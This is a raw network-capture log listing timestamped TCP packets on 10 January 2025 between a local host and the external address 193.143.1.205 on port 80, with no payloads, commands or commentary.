Jan 10, 2025 20:53:55.018277884 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.018294096 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.018728018 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.018819094 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.018834114 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.018850088 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.018857002 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.018865108 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.018881083 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.018888950 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.018897057 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.018913031 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.018914938 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.018943071 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.019725084 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.019740105 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.019754887 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.019769907 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.019772053 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.019787073 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.019802094 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.019805908 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.019818068 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.019834995 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.019849062 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.019867897 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.020673990 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.020689011 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.020705938 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.020720959 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.020736933 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.020751953 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.020752907 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.020768881 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.020792007 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.021011114 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.021045923 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.021454096 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.021469116 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.021486044 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.021502018 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.021508932 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.021522999 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.021539927 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.021553993 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.021555901 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.021570921 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.021590948 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.021606922 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.022424936 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.022439003 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.022454977 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.022469997 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.022475004 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.022485971 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.022500038 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.022501945 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.022515059 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.022530079 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.022531033 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.022578001 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.023293972 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.023308992 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.023343086 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.023344994 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.023356915 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.023374081 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.023387909 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.023401976 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.023401976 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.023428917 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.023952961 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.025403976 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.025497913 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.025528908 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.025541067 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.025564909 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.025578976 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.025584936 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.025594950 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.025609970 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.025613070 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.025625944 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.025639057 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.025942087 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.025954962 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.025969982 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.025983095 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.026006937 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.030406952 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.030430079 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.052272081 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.052361012 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.052373886 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.052390099 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.052406073 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.052413940 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.052421093 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.052438021 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.052457094 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.052556038 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.052580118 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.052597046 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.080781937 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.080810070 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.080823898 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.080883026 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.122616053 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.122632980 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.122648001 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.122663975 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.122678041 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.122693062 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.122709036 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.122710943 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.122726917 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.122733116 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.122742891 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.122759104 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.122775078 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.122787952 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.122797012 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.122803926 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.122817993 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.122823954 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.122833014 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.122848034 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.122864962 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.122874022 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.122900963 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.138104916 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.138133049 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.138149023 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.138164043 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.138187885 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.138200998 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.138215065 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.138230085 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.138232946 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.138258934 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.138273954 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.138309002 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.138351917 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.138367891 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.138385057 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.138417006 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.138489008 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.138504028 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.138525009 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.138535976 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.138559103 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.138566971 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.138581991 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.138597012 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.138663054 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.138782978 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.138797998 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.138814926 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.138830900 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.138830900 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.138849020 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.138940096 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.138966084 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.138979912 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.138998032 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.139024973 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.139071941 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.139170885 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.139185905 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.139202118 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.139216900 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.139219999 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.139231920 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.139245033 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.139261007 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.139553070 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.139566898 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.139581919 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.139595985 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.139612913 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.139615059 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.139636040 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.139637947 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.139650106 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.139664888 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.139666080 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.139681101 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.139692068 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.139694929 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.139710903 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.139725924 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.139730930 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.139741898 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.139756918 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.139759064 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.139772892 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.139786959 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.139790058 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.139805079 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.139820099 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.140314102 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.140326977 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.140343904 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.140361071 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.140384912 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.140388966 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.140403032 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.140419006 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.140434027 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.140445948 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.140453100 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.140470982 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.140475988 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.140490055 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.140505075 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.140508890 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.140521049 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.140539885 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.140557051 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.140557051 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.140571117 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.140580893 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.140587091 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.140602112 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.140605927 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.140619040 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.140633106 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.141302109 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.141316891 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.141331911 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.141346931 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.141350031 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.141361952 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.141374111 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.141376972 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.141392946 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.141396999 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.141421080 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.141458035 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.141470909 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.141486883 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.141500950 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.141511917 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.141516924 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.141530991 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.141537905 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.141547918 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.141561985 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.141563892 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.141577005 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.141592026 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.141592979 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.141608953 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.141644001 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.142193079 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.142206907 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.142221928 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.142352104 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.142352104 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.144872904 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.144980907 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.144995928 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.145011902 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.145026922 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.145042896 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.145050049 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.145059109 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.145104885 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.154834986 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.202177048 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.202200890 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.202217102 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.202233076 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.202249050 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.202255011 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.202265024 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.202280045 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.202301979 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.202349901 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.202364922 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.202380896 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.202394962 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.202398062 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.202410936 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.202425957 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.202426910 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.202440977 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.202444077 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.202476025 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.202491045 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.202503920 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.202519894 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.202534914 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.202608109 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.202622890 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.202637911 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.202653885 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.202658892 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.202668905 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.202687979 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.202701092 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.230511904 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.230545998 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.230562925 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.230576992 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.230590105 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.230592966 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.230607986 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.230635881 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.230638981 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.230649948 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.230655909 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.230665922 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.230680943 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.230683088 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.230695963 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.230712891 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.230714083 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.230730057 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.230745077 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.230747938 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.230808973 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.230830908 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.230839968 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.230846882 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.230860949 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.230865955 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.230876923 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.230892897 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.230956078 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.230971098 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.230986118 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.230988026 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.231029987 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.231065035 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.231193066 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.231208086 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.231224060 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.231240988 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.231251001 CET	49705	80	192.168.2.7	193.143.1.205
